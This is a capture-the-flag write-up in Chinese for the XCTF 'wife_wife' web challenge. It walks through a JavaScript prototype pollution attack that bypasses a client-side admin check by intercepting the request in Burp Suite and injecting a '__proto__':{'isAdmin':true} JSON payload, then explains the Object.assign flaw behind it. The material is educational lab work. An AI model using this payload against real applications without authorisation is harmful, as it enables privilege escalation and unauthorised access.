攻防世界 XCTF - wife_wife writeup (zh-TW)
題目資訊
- 分類: Web
- 描述: cat-wifi,本题不需要爆破
- 解出人數: 4426
- 題目連結: https://adworld.xctf.org.cn/challenges/list
解題過程
Step 1: 分析註冊邏輯
查看 register.html 源代碼:
function register(username, password, inviteCode, isAdmin){
let user = {username, password, isAdmin}
if(isAdmin){
if(!inviteCode){
alert('invite code required')
return
}
user = {...user, inviteCode}
}
fetch('/register', {
method: 'post',
body: JSON.stringify(user)
})
}
🔍 關鍵發現:
- 前端檢查
isAdmin=true時必須有inviteCode - 但這只是前端驗證,可以繞過!
- 後端使用
Object.assign()合併對象,存在原型鏈污染風險
Step 2: 理解 Prototype Pollution
原型鏈污染原理:
// 正常情況
let user = {username: "test", password: "123"}
user.isAdmin // undefined
// 污染原型鏈
let payload = {
username: "test",
password: "123",
"__proto__": {
"isAdmin": true
}
}
// 所有繼承自 Object 的對象都會獲得 isAdmin=true 屬性!
後端代碼推測:
let newUser = Object.assign({}, baseUser, user) // 繼承被污染的原型
Step 3: 使用 Burp Suite 繞過
① 開啟 Burp Suite 代理
- 設置瀏覽器代理到
127.0.0.1:8080 - 開啟 Intercept:
Proxy → Intercept is on
② 填寫註冊表單
訪問註冊頁面,填寫:
- Username:
admin1234 - Password:
1234 - ✅ 勾選 "is admin"
- Invite Code:
1234(隨便填)
點擊 Sign up,Burp 會攔截請求
③ 修改攔截的請求(關鍵!)
原始請求:
{"username":"admin1234","password":"1234","isAdmin":true,"inviteCode":"1234"}
修改為(原型鏈污染 payload):
{"username":"admin1234","password":"1234","__proto__":{"isAdmin":true},"inviteCode":"1234"}

重點變化:
- ❌ 刪除頂層的
"isAdmin":true - ✅ 加上
"__proto__":{"isAdmin":true} inviteCode可以是任意值
④ 放行並查看響應
點擊 Forward,成功響應:
{"msg":"user created successfully","err":false}

✅ 註冊成功!
Step 4: 登入並獲取 Flag
- 訪問 http://61.147.171.103:58883/login.html
- 登入剛才註冊的帳號:
- Username:
admin1234 - Password:
1234
- Username:
- 登入後看到頁面:
Username: admin1234
Flag: CatCTF{Redacted}
Wife: you have flag, so no wife
🎉 成功獲得 Flag!
學習重點
1. JavaScript 原型鏈污染
漏洞成因:
// 危險操作:直接合併用戶輸入
let newUser = Object.assign({}, baseUser, userInput)
為什麼有效:
- JSON 解析時,
__proto__被當作普通鍵名 Object.assign()會複製__proto__的屬性到原型鏈- 所有新創建的對象都繼承被污染的屬性
2. Content-Type 的重要性
為什麼 curl 失敗,Burp 成功?
| 工具 | Content-Type | 結果 |
|---|---|---|
| curl | application/json |
❌ JSON 雙重解析錯誤 |
| Burp | text/plain;charset=UTF-8 |
✅ 正確解析 |
後端可能對不同 Content-Type 有不同處理邏輯
經驗分享
這一題的重點在於,是否能繞過那個is_admin,所以只要確定繞過,登入即可查看flag,但筆者前面卡了很久處理curl的問題如下,

後來就索性直接用burp suite來解~所以適時轉換工具還是必要的。
Member discussion